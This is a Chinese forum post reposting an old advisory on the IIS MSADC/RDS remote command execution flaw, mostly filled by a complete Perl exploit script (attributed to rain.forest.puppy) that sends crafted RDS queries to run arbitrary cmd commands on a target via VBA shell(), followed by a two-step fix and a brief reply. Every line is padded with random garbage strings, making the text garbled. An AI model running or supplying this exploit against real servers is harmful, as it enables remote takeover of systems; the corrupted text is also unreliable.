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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ;r[@;2p*(  
a G^kL  
涉及程序: q%=`PCty  
Microsoft NT server S6 F28 d[j  
nn@"68]g  
描述: N\IdZX%u  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %3ecV$  
cvpcadN[  
详细: Y`QJcC(3  
如果你没有时间读详细内容的话,就删除: A L#"j62  
c:\Program Files\Common Files\System\Msadc\msadcs.dll tVUoUl  
有关的安全问题就没有了。 .y{qsL^P  
fbKL31PI  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 FO{K=9O  
Be{7Rj v  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 OLc/Vij;  
关于利用ODBC远程漏洞的描述,请参看: )o'&f"/  
dZ&/Iz  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm odPq<'V|AY  
[-cYFdt"V  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +*3\ C!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp BzL>,um  
Qo{Ez^q@J  
这里不再论述。 Oslbt8)U6  
C+-xC~  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 8$3G c"=  
m'$]lf;*  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset %|[+\py$Q  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! B*A{@)_  
!o2lB^e8  
9g#L"T=  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )p7WU?&I  
_dY6Ip%  
#!perl ~Rx[~a  
# y&NO[  
# MSADC/RDS 'usage' (aka exploit) script 95;q ] =U  
# | 1H"ya  
# by rain.forest.puppy h_4o4#  
# 4,kT4_&,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 08&DP^NS  
# beta test and find errors! N^A&DrMF  
/#M|)V*wn  
use Socket; use Getopt::Std; *P&ZE   
getopts("e:vd:h:XR", \%args);  Hq h  
*p{wC r  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 6X5`npf  
Hd6g0  
if (!defined $args{h} && !defined $args{R}) { hf rF7{yj  
print qq~ "gXz{$q  
Usage: msadc.pl -h <host> { -d <delay> -X -v } XCO{}wU)>  
-h <host> = host you want to scan (ip or domain) a_/\.  
-d <seconds> = delay between calls, default 1 second oJw~g [  
-X = dump Index Server path table, if available /"+ n{*9  
-v = verbose 0"$Ui#r`  
-e = external dictionary file for step 5 |D u.aN  
Q>u$tLX&  
Or a -R will resume a command session 4(MZ*6G]?  
K'~wlO@O  
~; exit;} _>B0q|]j4'  
=CEQYk-y1  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; yzW9A=0A)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} uYAPGs#k  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} O:3pp8  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Z[ }0K3,5  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2xH9O{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Ob2H7 !  
@a) x^d  
if (!defined $args{R}){ $ret = &has_msadc; pPm[<^\#S  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} E_]L8UC;m  
.v G_\-@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" L)JpMf0  
. "cmd /c "; .w^M?}dx  
$in=<STDIN>; chomp $in; stz1e dP  
$command="cmd /c " . $in ; ymSGB`CP  
P]-d (N}/H  
if (defined $args{R}) {&load; exit;} VZ{aET!  
J')Dt]/9  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 3!&lio+<  
&try_btcustmr; ;=1]h&S  
t0p^0   
print "\nStep 2: Trying to make our own DSN..."; =]yJvn"  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Q4r)TR,  
GQoaBO.  
print "\nStep 3: Trying known DSNs..."; Fku9hB  
&known_dsn; 9:CJl6~N)#  
orCD?vlh  
print "\nStep 4: Trying known .mdbs..."; l@nkR&4[  
&known_mdb; ncf=S(G+  
e&?o  
if (defined $args{e}){ ,Khhu%$  
print "\nStep 5: Trying dictionary of DSN names..."; N7k<q=r-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *xXa4HB  
y% =nhV  
print "Sorry Charley...maybe next time?\n"; nY"9"R\.=  
exit; @47MJzC  
^Afq)26D  
############################################################################## |&WeXVH E  
$+)2CXQe5  
sub sendraw { # ripped and modded from whisker ;|e{J$  
sleep($delay); # it's a DoS on the server! At least on mine... qYc]Y9fi  
my ($pstr)=@_; jftoqK- p  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \k_0wt2x1  
die("Socket problems\n"); :<4:h.gO8  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5F cKY_  
select(S); $|=1; rVq=,>M9  
print $pstr; my @in=<S>; T1c2J,+}R  
select(STDOUT); close(S); 4A.ZMH  
return @in; C,+6g/{  
} else { die("Can't connect...\n"); }} nJ |O,*`O  
8P.UB{QNe  
############################################################################## X6%w6%su5  
[TvH7ott'1  
sub make_header { # make the HTTP request ]W3D4Swq  
my $msadc=<<EOT Xjc{={@p3  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 'CsD[<  
User-Agent: ACTIVEDATA U8kH'OD  
Host: $ip kVE% "  
Content-Length: $clen B) J.(k`p  
Connection: Keep-Alive |ZW%+AQ|  
cZT;VmC  
ADCClientVersion:01.06 1ux~dP  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /\*,|y\<  
z|[#6X6tT  
--!ADM!ROX!YOUR!WORLD! x&7% U  
Content-Type: application/x-varg LS@[O])$'  
Content-Length: $reqlen 9B")/Hz_  
IO~d.Ra  
EOT K <7#;  
; $msadc=~s/\n/\r\n/g; \]=qGMwFs  
return $msadc;} ork/:y9*y  
|2(z<b&y=  
############################################################################## AYHB?xOpR  
FCTz>N^p  
sub make_req { # make the RDS request ^:W.R7|  
my ($switch, $p1, $p2)=@_; %Uybp  
my $req=""; my $t1, $t2, $query, $dsn; gE%{#&*  
ik02Q,J  
if ($switch==1){ # this is the btcustmr.mdb query =( b;Cow  
$query="Select * from Customers where City=" . make_shell(); betN-n-  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ) \Mwv&k1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} YP{)jAK  
@54,I  
elsif ($switch==2){ # this is general make table query X~t]qT  
$query="create table AZZ (B int, C varchar(10))"; XH&Fn+  
$dsn="$p1";} 3>qUYxG8  
VQF!|*#  
elsif ($switch==3){ # this is general exploit table query B4 5B`Ay  
$query="select * from AZZ where C=" . make_shell(); Y\luz`v  
$dsn="$p1";} \)859x&(  
n-[J+DdB  
elsif ($switch==4){ # attempt to hork file info from index server  uZ][#[u  
$query="select path from scope()"; }yCJ#}  
$dsn="Provider=MSIDXS;";} =SPuOy8  
b{qeu$G R  
elsif ($switch==5){ # bad query g=.~_&O  
$query="select"; =\.Oc+p4  
$dsn="$p1";} %:oyHlz%  
c0jdZ#H  
$t1= make_unicode($query); [b-27\b  
$t2= make_unicode($dsn); n~N>c*p  
$req = "\x02\x00\x03\x00"; e_s9E{(  
$req.= "\x08\x00" . pack ("S1", length($t1)); *f|9A/*B3  
$req.= "\x00\x00" . $t1 ; TtEc~m  
$req.= "\x08\x00" . pack ("S1", length($t2)); fI(u-z~,  
$req.= "\x00\x00" . $t2 ; , "w`,c>!  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; r(NfVQF  
return $req;} =ZM#_uW  
R>H*MvN  
############################################################################## <r]7xsr  
2f(5C*~  
sub make_shell { # this makes the shell() statement /l_ $1<c  
return "'|shell(\"$command\")|'";} 0.S].Y[  
|g]TWKc*  
############################################################################## Q>f^*FyOw<  
!PUbaF-.6  
sub make_unicode { # quick little function to convert to unicode .kh%66:  
my ($in)=@_; my $out; B$qmXA)ze  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } )iadu  
return $out;} ~8~B VwZ_  
bHE'R!*  
############################################################################## z52T"uW  
.b>1u3  
sub rdo_success { # checks for RDO return success (this is kludge) R)?b\VK2$  
my (@in) = @_; my $base=content_start(@in); <cG .V |B  
if($in[$base]=~/multipart\/mixed/){ yyZH1A  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  ,!_  
return 0;} 2h0I1a,7  
 s#om  
############################################################################## Kd^{~Wlz&z  
,\Gn  
sub make_dsn { # this makes a DSN for us `C"Slz::  
my @drives=("c","d","e","f"); 32jOs|<\  
print "\nMaking DSN: "; Rro|P_  
foreach $drive (@drives) { Srj%6rgsB  
print "$drive: "; k^AI7H  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . iK{q_f\"  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?6.vd]oNO  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); }T%;G /W  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; w#[Ul9=?6  
return 0 if $2 eq "404"; # not found/doesn't exist 1BQTvUAA  
if($2 eq "200") { ?l#9ydi?  
foreach $line (@results) { rm2"pfs  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %98F>wl  
} return 0;} /!ZeMY:x  
,?i^i#Wqzg  
############################################################################## ~d6 _  
E 5}T_~-{  
sub verify_exists { eCdx(4(\a  
my ($page)=@_; X&DuX %x0  
my @results=sendraw("GET $page HTTP/1.0\n\n"); n m(yFX?=  
return $results[0];} f" Yj'`6  
j{N;2#.u  
############################################################################## Z'dY,<@  
TuY{c%qQ:  
sub try_btcustmr { \W;~[-"#  
my @drives=("c","d","e","f"); \V`O-wcJ]S  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ElAJR4'{*i  
adtK$@Yeg  
foreach $dir (@dirs) { B' 6^E#9  
print "$dir -> "; # fun status so you can see progress eU_|.2  
foreach $drive (@drives) { ?cdSZ'49[  
print "$drive: "; # ditto _H@s^g  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; vai.",b=n6  
$reqlenlen=length( "$reqlen" ); 7t` <`BY^  
$clen= 206 + $reqlenlen + $reqlen; x-+[gNc 6  
vFY/o,b \  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); pW O-YZ#+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =Xzqp,  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} f ^mxj/%L  
YXXUYi~!f  
############################################################################## Z:aDKAboU  
ZV}BDwOFI  
sub odbc_error { {OP-9P=p  
my (@in)=@_; my $base; r:K)Q@  
my $base = content_start(@in); vgOmcf%;  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this %Bmi3 =Rr  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :xZ/c\  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,S;?3?a  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'dM &~L SQ  
return $in[$base+4].$in[$base+5].$in[$base+6];} -yfyd$5j  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; #C|:]moe  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Ou/@!Y1  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8 W8ahG}  
6HpSZa  
############################################################################## I^/Ugu  
VBR@f<2L  
sub verbose { ;5#P?   
my ($in)=@_; hZI9*= `,"  
return if !$verbose; =wK3\rG  
print STDOUT "\n$in\n";} R0+v5E  
AC,$(E  
############################################################################## w(`X P  
td4*+)'FY  
sub save { !JUXq  
my ($p1, $p2, $p3, $p4)=@_; $/,qw   
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 3?Y%|ZVM  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; (xK=/()}q  
close OUT;} aAO[Y"-:,Y  
qhVDC  
############################################################################## KL*ZPKG  
N^q*lV#kob  
sub load { oTo'? E#  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #0`2wuo {  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6k"Wy3/  
@p=<IN>; close(IN); xXH%7%W'f  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); C]*9:lK  
$target= inet_aton($ip) || die("inet_aton problems"); l W'6rat  
print "Resuming to $ip ..."; (Z.K3  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; K]zBPfx  
if($p[1]==1) { FB@c +*1  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; gqNd@tYI  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; V'pNo&O=  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); VZYd CZ&l7  
if (rdo_success(@results)){print "Success!\n";} E5 H6&XU  
else { print "failed\n"; verbose(odbc_error(@results));}} jD0^,aiG  
elsif ($p[1]==3){ U/,`xA;v>  
if(run_query("$p[3]")){ *rp@`W5  
print "Success!\n";} else { print "failed\n"; }} wQb")3dw  
elsif ($p[1]==4){ 2tC ep  
if(run_query($drvst . "$p[3]")){ g]iWD;61  
print "Success!\n"; } else { print "failed\n"; }} /fA:Fnv  
exit;} 8gJ"7,}-'  
/MsXw/],  
############################################################################## ~^" cNv  
;E:ra_l  
sub create_table { ?v#t{e0eQ  
my ($in)=@_; MR%M[SK1  
$reqlen=length( make_req(2,$in,"") ) - 28; Rb<aCX  
$reqlenlen=length( "$reqlen" ); 3s\2 9gq  
$clen= 206 + $reqlenlen + $reqlen; hnL"f[p@gC  
my @results=sendraw(make_header() . make_req(2,$in,"")); s!Y>\3rMW  
return 1 if rdo_success(@results); V!c{%zd  
my $temp= odbc_error(@results); verbose($temp);  {"y{V  
return 1 if $temp=~/Table 'AZZ' already exists/; U/yYQZ\)  
return 0;} M]jzbJ3Q  
$ePAsJ  
############################################################################## ~6!=_"  
?)Z~H,Q(z  
sub known_dsn { R_uA!MoLs  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {~16j"  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", + }(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", z|}Anc[\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); eL^,-3JA(]  
EU ThH.  
foreach $dSn (@dsns) { =w".B[r  
print "."; ~Ht[kO  
next if (!is_access("DSN=$dSn")); s ZkQJ->  
if(create_table("DSN=$dSn")){ Cv{rd##Y8  
print "$dSn successful\n"; g Gg8O? Z  
if(run_query("DSN=$dSn")){ %&Z!-k(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { y_qFXd  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U?>P6p  
!-x^b.${B  
############################################################################## VyCBJK  
`*9W{|~Gwx  
sub is_access { N-3w)23*:  
my ($in)=@_; '68{dyFZL  
$reqlen=length( make_req(5,$in,"") ) - 28; 7R<<}dA]  
$reqlenlen=length( "$reqlen" ); |=l;UqB  
$clen= 206 + $reqlenlen + $reqlen; -DX|[70  
my @results=sendraw(make_header() . make_req(5,$in,"")); >T.U\,om7  
my $temp= odbc_error(@results); e.\d7_T+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); H h$D:ZO  
return 0;} $"J+3mO  
fcr\XCG7U  
############################################################################## !K'kkn,h  
+q) ^pCC  
sub run_query { (BMFGyE3  
my ($in)=@_; 3?Bq((  
$reqlen=length( make_req(3,$in,"") ) - 28; vwZ2kk!|i  
$reqlenlen=length( "$reqlen" ); qB3 SQ:y  
$clen= 206 + $reqlenlen + $reqlen; n0@e%=H)I  
my @results=sendraw(make_header() . make_req(3,$in,"")); L\nWhmwl  
return 1 if rdo_success(@results); tLS5yT/  
my $temp= odbc_error(@results); verbose($temp); L2P~moVIi  
return 0;} O]m,zk  
Sq-mH=rs]  
############################################################################## s=~r. x  
-nN}8&l  
sub known_mdb {  s4;SA  
my @drives=("c","d","e","f","g"); q3T'rw%Eh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l *yml  
my $dir, $drive, $mdb; 1`5d~>fV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AmRppbj/wO  
Th`IpxV  
# this is sparse, because I don't know of many /JtKn*?}:>  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \W( C=e  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", hn)mNb!  
"\\system32\\certmdb.mdb", _tb)F"4V  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% (O,|1  
+MGEO+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", +aEE(u6%E@  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vxZvK0b620  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 'RTz*CSZ  
"\\cfusion\\cfapps\\security\\realm_.mdb", ZR6KE_  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", e {N8|l  
"\\cfusion\\database\\cfexamples.mdb", ,;O+2TX  
"\\cfusion\\database\\cfsnippets.mdb", 4punJg~1  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", t 4{{5U'\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", i~ n>dc YW  
"\\cfusion\\brighttiger\\database\\cleam.mdb", fi:Z*-  
"\\cfusion\\database\\smpolicy.mdb", Z99%uI3  
"\\cfusion\\database\cypress.mdb", hi*\5(uH  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", rQ;m|@  
"\\website\\cgi-win\\dbsample.mdb", "[BuQ0(g  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Kv{i_%j   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w \i#  
); #these are just 9@Cqg5Kx'  
foreach $drive (@drives) { -1:yqF.x  
foreach $dir (@dirs){ $vTU|o>|  
foreach $mdb (@sysmdbs) { Pd%o6~_*  
print "."; hR[Qdu6r  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Q^DKKp  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; %S]5wR6;_  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ f<!eJO:<'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; zRD{"uqi  
} else { print "Something's borked. Use verbose next time\n"; }}}}} n$ axqvG  
(JL{X`gs#  
foreach $drive (@drives) { ;5q=/  
foreach $mdb (@mdbs) { 6S2D\Bt,_  
print "."; *'QD!Tc  
if(create_table($drv . $drive . $dir . $mdb)){ @Ej{sC!0T  
print "\n" . $drive . $dir . $mdb . " successful\n"; z./u;/:  
if(run_query($drv . $drive . $dir . $mdb)){ #Ji&.T^U/  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; `V$i*{c:#  
} else { print "Something's borked. Use verbose next time\n"; }}}} My5h;N@C  
} [wjA8d.  
L@ql)Lc);  
############################################################################## H--(zxK  
,-vbR&  
sub hork_idx { RoJ{ ou@cs  
print "\nAttempting to dump Index Server tables...\n"; &`Z>zT}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; w6qx  
$reqlen=length( make_req(4,"","") ) - 28; rKg5?.  
$reqlenlen=length( "$reqlen" ); <Ktx*(D  
$clen= 206 + $reqlenlen + $reqlen; R3jhq3F\Y  
my @results=sendraw2(make_header() . make_req(4,"","")); wx>BNlT@?  
if (rdo_success(@results)){ 5WP)na6"  
my $max=@results; my $c; my %d; |*fGG?}  
for($c=19; $c<$max; $c++){ V'mQ {[{R  
$results[$c]=~s/\x00//g; C^2Tql  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; \.POb5]p0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /U`"Xx  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $eCxpb..  
$d{"$1$2"}="";} {Ymn_   
foreach $c (keys %d){ print "$c\n"; } *FQrmdwb]L  
} else {print "Index server doesn't seem to be installed.\n"; }} D+9xI  
f*0[[J0]  
############################################################################## :;#^h]Q  
KWLI7fTgj$  
sub dsn_dict { 7Fh%jRHZ`  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); G9 ;X=c  
while(<IN>){ \{\*h/m  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; MIsjTKE  
next if (!is_access("DSN=$dSn")); #B88w9 b`D  
if(create_table("DSN=$dSn")){ "S,,BjL  
print "$dSn successful\n"; >j4;{r+eQw  
if(run_query("DSN=$dSn")){ fx_7X15  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VEkv JX.  
print "Something's borked. Use verbose next time\n";}}} quTM|>=_R  
print "\n"; close(IN);} & VJ+X|Z  
[W ,Ej  
############################################################################## i ?%;s5<  
d!D#:l3;  
sub sendraw2 { # ripped and modded from whisker >KNiMW^V  
sleep($delay); # it's a DoS on the server! At least on mine... ]t=m  
my ($pstr)=@_; K pDKIi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MD1n+FgTu  
die("Socket problems\n"); L09YA  
if(connect(S,pack "SnA4x8",2,80,$target)){ ||;V5iR:  
print "Connected. Getting data"; 0>6J -   
open(OUT,">raw.out"); my @in; F *=>=  
select(S); $|=1; print $pstr; 7.,C'^ci  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} wI'T J e,  
close(OUT); select(STDOUT); close(S); return @in; u3a"[DB9c  
} else { die("Can't connect...\n"); }} (oBvpFP33  
': 87.8$  
############################################################################## o+*YX!]#L  
p`fUpARA!  
sub content_start { # this will take in the server headers F/tGk9v  
my (@in)=@_; my $c; bX Q*d_]WT  
for ($c=1;$c<500;$c++) { A_tdtN<  
if($in[$c] =~/^\x0d\x0a/){ >=G;rs  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } tda#9i[pkH  
else { return $c+1; }}} -,)&?S  
return -1;} # it should never get here actually `aD~\O  
&xo_93  
############################################################################## $nUhM|It  
ZP &q7HK\  
sub funky { \}P3mS"e3  
my (@in)=@_; my $error=odbc_error(@in); &G\Vn,1v  
if($error=~/ADO could not find the specified provider/){ X4_1kY;  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; tg_xk+x  
exit;} i882r=TE3  
if($error=~/A Handler is required/){ <~@}r\  
print "\nServer has custom handler filters (they most likely are patched)\n"; LUc!a4i"fO  
exit;} Za_w@o  
if($error=~/specified Handler has denied Access/){ CBN,~wzP*  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,bzE`6  
exit;}} <j,ZAA&5%Y  
_C2iP[YwQ{  
############################################################################## 2w_[c.  
!'8.qs  
sub has_msadc { R}_B\#Q  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");  Sg  
my $base=content_start(@results); rE$0a-d2B  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 8s16yuM  
return 0;} BpBMFEiP  
~_6~Fi  
######################## ^SM>bJ1Z_  
H(Pzo+k*  
\5M1;  
解决方案: a> qB k})  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 6|:K1bI)  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 " b3-'/ &  
XX&4OV,^%D  
拿出来充数 哈哈
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